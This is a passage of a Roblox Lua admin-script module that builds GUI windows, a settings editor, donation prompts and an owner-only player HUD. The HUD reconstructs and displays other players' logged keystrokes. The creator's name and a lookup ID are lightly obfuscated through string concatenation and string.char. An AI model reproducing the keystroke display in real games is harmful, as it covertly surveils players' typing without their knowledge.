 	RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
 	Delay(TweenTime, function()
 		for i = 1,0,-0.1 do
 			Body.TextTransparency = i
 			wait()
 		end
 		Body.TextTransparency = 0
 	end)
 	Delay(TweenTime + Time, function()
 		for i = 0,1,0.1 do
 			Body.TextTransparency = i
 			wait()
 		end
 		Body.TextTransparency = 1
 		local Done = false
 		LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
 		RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
 	end)
 
 end)() end
 
 function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
 	if not Player then return nil end
 	if not Player:FindFirstChild("PlayerGui") then return nil end
 	if not PreSearch then PreSearch = "" end
 	if AutoNumber == nil then AutoNumber = true end
 
 	local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
 	local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
 	SearchBar.Parent = Frame.Parent
 	Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
 	Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
 
 	local SearchVer = 0,nil
 	local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
 	local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
 	local InDialog = false
 
 	local function ShowResults(Key)
 		SearchVer = SearchVer + 1
 		local ThisSearchVer = SearchVer
 
 		if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
 		for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
 
 		local NumPos,Num = 0,1
 
 		for _,Data in pairs(List) do
 			if ThisSearchVer ~= SearchVer then
 				break
 			end
 			local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
 			if String then
 				local ImageIcon = nil
 				if type(Data) == "table" then
 					String = Data[1]
 					ImageIcon = Data[2]
 				end
 
 				local TextColor = GUI:ContrastColor()
 				local StringSplit = STRING:GetSplit(String, 1, " ")
 				local NewColor = GUI:GetColor(StringSplit[1])
 				if NewColor then TextColor = NewColor String = StringSplit[2] end
 
 				if string.find(string.lower(String), string.lower(Key)) then
 					Spacer = false
 					local Font = Settings.Font
 					local Split = STRING:GetSplit(String, 1, " ")
 					if string.sub(string.lower(String),1,6) == "bold: " then
 						Font = "ArialBold"
 						String = string.sub(String,7)
 					elseif Fonts[Split[1]] then
 						Font = Split[1]
 						String = Split[2]
 					end
 					if string.sub(String,1,2) == "--" then
 						Spacer = true
 					end
 					local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
 					if ImageIcon then
 						if tonumber(ImageIcon) then
 							ImageIcon = "rbxassetid://"..ImageIcon
 						elseif Icons[ImageIcon] then
 							ImageIcon = "rbxassetid://"..Icons[ImageIcon]
 						end
 
 						Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
 						local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
 						local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
 						Content.Text = ""
 						NumPos = NumPos + 90
 					else
 						NumPos = NumPos + 30
 					end
 
 					if not Clickable then
 						Content.AutoButtonColor = false
 						Content.Active = false
 						Content.BackgroundTransparency = 1
 					elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
 						SOUND:BindButton(Content)
 						CORE:HandleEvent(Content, "MouseButton1Down", function()
 							if not InDialog then
 								Clicked:Fire(String)
 							end
 						end, true)
 					end
 					if Spacer == false then Num = Num + 1 end
 				end
 			end
 		end
 		Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
 		ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
 	end
 
 	RequestDialog.OnInvoke = function(RequestDialogCall)
 		InDialog = RequestDialogCall
 	end
 
 	ShowResults(PreSearch)
 
 	local RPR = CORE:CreateRemotePropertyReader(SearchBar)
 	CORE:HandleEvent(SearchBar, "Changed", function(Prop)
 		if Prop == "Text" then
 			local Text = CORE:ReadProperty(RPR, Player, "Text")
 			ShowResults(Text)
 			Frame.CanvasPosition = Vector2.new(0,0)
 		end
 	end)
 
 	return Clicked, RequestDialog, Close
 end
 
 function GUI:PropertyGui(Player, Title, Icon, Properties)
 	if not Player then return nil end
 	if not Player:FindFirstChild("PlayerGui") then return nil end
 	if type(Properties) ~= "table" then return nil end
 	local HasClosed = false
 	local NewProperties = {}
 
 	local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
 	Frame.ClipsDescendants = true
 	local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
 
 	for PropertyName,Data in pairs(Properties) do
 		NewProperties[PropertyName] = Data[1]
 	end
 
 	local YCount = 0
 
 	for PropertyName,Data in pairs(Properties) do
 		if type(Data) == "table" then
 			local DefaultValue = Data[1]
 			local Writable = Data[2]
 			local ValueType = Data[3]
 
 			if Writable == nil then Writable = false end
 			if type(ValueType) == "string" then -- now this is confusing
 				ValueType = string.lower(ValueType)
 			elseif ValueType == nil then
 				ValueType = type(DefaultValue)
 			end
 
 			if ValueType == "nil" or ValueType == "userdata" then
 				ValueType = nil
 			elseif ValueType == "table" then
 				DefaultValue = STRING:UnpackArgs(DefaultValue)
 				ValueType = "string"
 			end
 
 			if ValueType then
 				local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
 				local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
 				local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
 
 				if ValueType == "string" or ValueType == "number" then
 					if Writable == true then
 						local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
 						CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
 							if ValueType == "number" then
 								NewProperties[PropertyName] = tonumber(Input.Text)
 							else
 								NewProperties[PropertyName] = tostring(Input.Text)
 							end
 						end end)
 					else
 						local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
 					end
 				end
 				if ValueType == "boolean" then
 					local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
 					if DefaultValue == true then
 						Check.Image = "rbxassetid://48138491"
 					end
 					if Writable == true then
 						CORE:HandleEvent(Check, "MouseButton1Down", function()
 							local NewVal = not NewProperties[PropertyName]
 							NewProperties[PropertyName] = NewVal
 							if NewVal == true then
 								Check.Image = "rbxassetid://48138491"
 							else
 								Check.Image = "rbxassetid://48138474"
 							end
 						end)
 					else
 						Check.ImageTransparency = 0.5
 					end
 				end
 				YCount = YCount + 50
 			end
 		end
 	end
 
 	Frame.CanvasSize = UDim2.new(0,0,0,YCount)
 
 	Closed.Event:connect(function() HasClosed = true end)
 
 	repeat wait(0.1) until HasClosed
 	return NewProperties
 end
 
 function GUI:SettingsGui(Player)
 	if not Player then return nil end
 	local CloneViewSettings,CanChange = {},false
 
 	local ViewSettings = {
 		["Version"] = {CORE.Version.Value, false, nil};
 		["Prefix"] = {Settings.Prefix, 3, "Prefix"};
 		["Font"] = {Settings.Font, 3, "Font"};
 		["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
 		["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
 		["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
 		["Fun Commands"] = {Settings.Fun, 3, "Fun"};
 		["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
 		["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
 		["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
 		["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
 		["Group ID"] = {Settings.GroupID, false, "GroupID"};
 		["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
 		["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
 		["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
 		["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
 		["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
 		["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
 		["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
 		["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
 		["Bet"] = {Settings.Bet, 3, "Bet"};
 	}
 
 	local _,RankNum = RANK:GetRank(Player)
 	if RankNum >= 3 then
 		CanChange = true
 	end
 
 	for Prop,Data in pairs(ViewSettings) do
 		local Writable = false
 		if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
 		CloneViewSettings[Prop] = {Data[1], Writable}
 	end
 
 	local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
 	if CanChange then
 		for Prop,Data in pairs(ViewSettings) do
 			if Data[3] then
 				Settings[Data[3]] = NewSettings[Prop] -- wow haxy
 			end
 		end
 		CORE:FixSettings()
 	end
 end
 
 function GUI:MessageAdmins(TitleText, BodyText, Icon)
 	for _,Player in pairs(Server.Players:GetPlayers()) do
 		local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
 		if PlayerAdmin then
 			GUI:SendMessage(Player, TitleText, BodyText, Icon)
 		end
 	end
 end
 
 function GUI:TellAdmin(Player)
 	if not Player then return end
 
 	local ValidAdmin,Rank = RANK:IsAdmin(Player)
 	if ValidAdmin == true then
 		GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
 		if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
 			local SoundID = 237866523
 			if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
 			local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
 			Sound:Play()
 			coroutine.wrap(function()
 				wait(4)
 				Sound:Stop()
 				Sound:Destroy()
 			end)()
 		end
 	end
 end
 
 function GUI:TellNotAdmin(Player)
 	if not Player then return end
 
 	GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
 end
 
 function GUI:CreateTaskBar(Player)
 	if not Player then return nil end
 	if Settings.EnableTaskBar == false then return nil end
 	Player:WaitForChild("PlayerGui")
 	local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
 	if SG then SG:Destroy() end
 	SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
 	local IsMoving = false
 	local TaskBarShown = false
 	local Tasks = {}
 
 	local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
 	local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
 
 	local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
 	local Open,CloseForm = false,nil
 	if Settings.EnableAdminMenu then
 		local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
 		coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
 			if Open == false then
 				local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
 				Open,CloseForm = true,Close
 
 				local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
 				local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
 				local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
 				local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
 				local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
 				local function DonateMoney(Type, Element)
 					local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
 					local Get = Request[Type]
 					if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
 						Server.MPS:PromptPurchase(Player, Get[1], true)
 					elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
 						Server.MPS:PromptPurchase(Player, Get[2], true)
 					elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
 						Server.MPS:PromptPurchase(Player, Get[3], true)
 					else
 						Element.Text = "Cannot get request"
 					end
 				end
 				local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
 				local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
 				local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
 				local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
 				local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
 				local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
 
 				if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
 
 				if Closed then
 					Closed.Event:connect(function()
 						Open = false
 					end)
 				end
 			else
 				CloseForm:Invoke()
 			end
 		end) end)()
 		if RANK:GetRank(Player) == "Owner" then
 			local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
 			CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
 				local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
 				if HUDSG then
 					HUDSG:Destroy()
 				else
 					GUI:CreateHUD(Player)
 				end
 			end)
 		end
 	end
 
 	CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
 		if IsMoving == false then
 			if TaskBarShown == true then
 				TaskBarShown = false
 				IsMoving = true
 				TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
 			else
 				TaskBarShown = true
 				IsMoving = true
 				TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
 			end
 		end
 	end)
 
 	local function ReloadIcons()
 		for Num,Data in pairs(Tasks) do
 			Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
 		end
 	end
 
 	AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
 		local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
 		table.insert(Tasks, {Form, Icon})
 		local CanClick = true
 		CORE:HandleEvent(Icon, "MouseButton1Down", function()
 			if Form.IsActive.Value == false then
 				Restore:Invoke()
 			elseif CanClick == true then
 				coroutine.wrap(function()
 					CanClick = false
 					local DefPos = Form.Dragger.Position
 					for i = 1,15 do
 						Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
 						wait(0.05)
 					end
 					Form.Dragger.Position = DefPos
 					CanClick = true
 				end)()
 			end
 		end)
 		ReloadIcons()
 
 		Closed.Event:connect(function()
 			for Num,Data in pairs(Tasks) do
 				if Data[1] == Form then
 					Icon:Destroy()
 					table.remove(Tasks, Num)
 				end
 			end
 			ReloadIcons()
 		end)
 	end)
 end
 
 function GUI:ShowDebtStats(Player, ManualText)
 	local Text = ManualText
 	if not ManualText then
 		Text = "CANNOT GET STATISTICS"
 		local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
 		if RawPage then
 			local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
 			local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
 			Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
 		end
 	end
 
 	local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
 	local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
 
 	return Text
 end
 
 function GUI:ShowCommand(Player, CommandTrigger, Dialog)
 	if not Player then return nil end
 	if not CommandTrigger then return nil end
 
 	if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
 
 	local CommandKey = CommandTrigger
 
 	if not Commands[CommandKey] then
 		for CommandNames,_ in pairs(Commands) do
 			for _,CommandName in pairs(CommandNames) do
 				if CommandName == CommandKey then
 					CommandKey = CommandNames
 				end
 			end
 		end
 	end
 
 	local CommandData = Commands[CommandKey]
 
 	local BodyText = "No valid command has been entered"
 	local TitleText = "Error"
 	local CanExe = false
 	if CommandData then
 		if Dialog then
 			Dialog:Invoke(true)
 		end
 		local PlayerRank = RANK:GetRank(Player)
 		if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
 		if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
 
 		TitleText = "Command: "..CommandKey[1]
 		BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
 
 
 Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
 
 
 Description: ]]..CommandData[2]..[[
 
 
 Arguments: ]]..CommandData[3]..[[
 
 
 Minimum rank needed: ]]..CommandData[4]..[[
 
 
 Fun command: ]]..STRING:BoolString(CommandData[5])..[[
 
 
 Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
 
 
 Http Command ]]..STRING:BoolString(CommandData.Http)
 	end
 
 	_, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
 	if Dialog then
 		Closed.Event:connect(function() Dialog:Invoke(false) end)
 		Minimized.Event:connect(function() Dialog:Invoke(false) end)
 	end
 end
 
 function GUI:CreateHUD(Speaker)
 	if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
 
 	local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
 	if SG then SG:Destroy() end
 	SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
 
 	local function AddHUD(Player, Char)
 		if not Char or not Char:FindFirstChild("Head") then return nil end
 
 		local Rank = RANK:GetRank(Player)
 		local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
 		local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
 		local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
 		local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
 		local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
 		coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
 			InfoLabel.Text = "Name: "..Player.Name..[[
 Rank: ]]..RANK:GetRank(Player)..[[
 Age: ]]..STRING:FindAge(Player.AccountAge)
 			if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
 				InfoLabel.Text = InfoLabel.Text..[[
 Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
 			end
 			if LastKeys[Player.UserId] then
 				local Keys = ""
 				local KeyLog = {}
 				for _,KeyData in pairs(LastKeys[Player.UserId]) do
 					table.insert(KeyLog, KeyData[1])
 					if KeyData[2] == 8 then
 						Keys = string.sub(Keys, 1, #Keys - 1)
 					elseif KeyData[2] == 13 then
 						Keys = Keys.." "
 					else
 						Keys = Keys..string.char(KeyData[2])
 					end
 				end
 				KeyLabel.Text = table.concat(KeyLog, "\n")
 				KeyOutput.Text = Keys
 			end
 			HUD.Image = "rbxassetid://"..RankHUD[Rank]
 		end end)()
 
 		local CharRev,Removing = nil,nil
 		CharRev = Player.CharacterRemoving:connect(function()
 			PlayerHUD:Destroy()
 			CharRev:disconnect()
 			Removing:disconnect()
 		end)
 		Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
 			PlayerHUD:Destroy()
 			CharRev:disconnect()
 			Removing:disconnect()
 		end end)
 	end
 
 	local function ConnectHUD(Player)
 		if Player ~= Speaker then
 			if Player.Character then
 				AddHUD(Player, Player.Character)
 			end
 
 			Player.CharacterAdded:connect(function(Char)
 				if Speaker then
